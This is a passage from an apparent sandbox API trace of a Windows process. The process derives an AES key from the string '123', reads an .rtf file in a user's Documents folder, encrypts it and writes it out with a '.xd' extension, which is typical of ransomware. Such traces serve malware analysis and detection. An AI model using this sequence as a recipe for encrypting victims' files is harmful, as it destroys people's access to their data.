hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.461] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0073.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0073.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0073.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.462] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.462] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0073.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0073.462] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0073.462] CryptHashData (hHash=0x164c9b0, pbData=0x1629400, dwDataLen=0x3, dwFlags=0x1) returned 1 [0073.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.463] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.463] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.463] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.463] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.463] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.463] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0073.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0073.464] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0073.464] CryptDeriveKey (in: hProv=0x17aa6f8, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0073.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.464] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.464] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.464] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0073.464] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0073.465] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0073.465] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0073.465] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.465] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\3jqcopyzi.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0073.465] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.465] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0073.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.466] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif")) returned 0x10 [0073.466] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\3jqcopyzi.rtf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0073.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.467] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.467] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.469] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0073.469] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0073.471] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3a8b, lpOverlapped=0x0) returned 1 [0073.472] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0073.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.475] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0073.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.476] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0073.476] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.476] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0073.476] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.476] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.476] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.476] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.476] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.477] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.477] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x1629520, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629520*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.477] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.477] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.477] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.485] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.486] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.486] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.486] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.486] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.487] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.487] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.487] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.489] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.489] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.489] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x13a8b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13a90) returned 1 [0073.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.489] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.489] CharLowerBuffW (in: lpsz="byte[80529]", cchLength=0xb | out: lpsz="byte[80529]") returned 0xb [0073.490] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.492] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.492] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.492] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.492] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.492] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181bae8*, pdwDataLen=0x130e618*=0x13a8b, dwBufLen=0x13a90 | out: pbData=0x181bae8*, pdwDataLen=0x130e618*=0x13a90) returned 1 [0073.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.493] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.493] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.494] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.494] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.494] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.494] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.494] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.494] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.494] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.494] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.499] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.500] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.500] WriteFile (in: hFile=0x3ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x13a90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x13a90, lpOverlapped=0x0) returned 1 [0073.503] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.503] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.503] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.503] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: 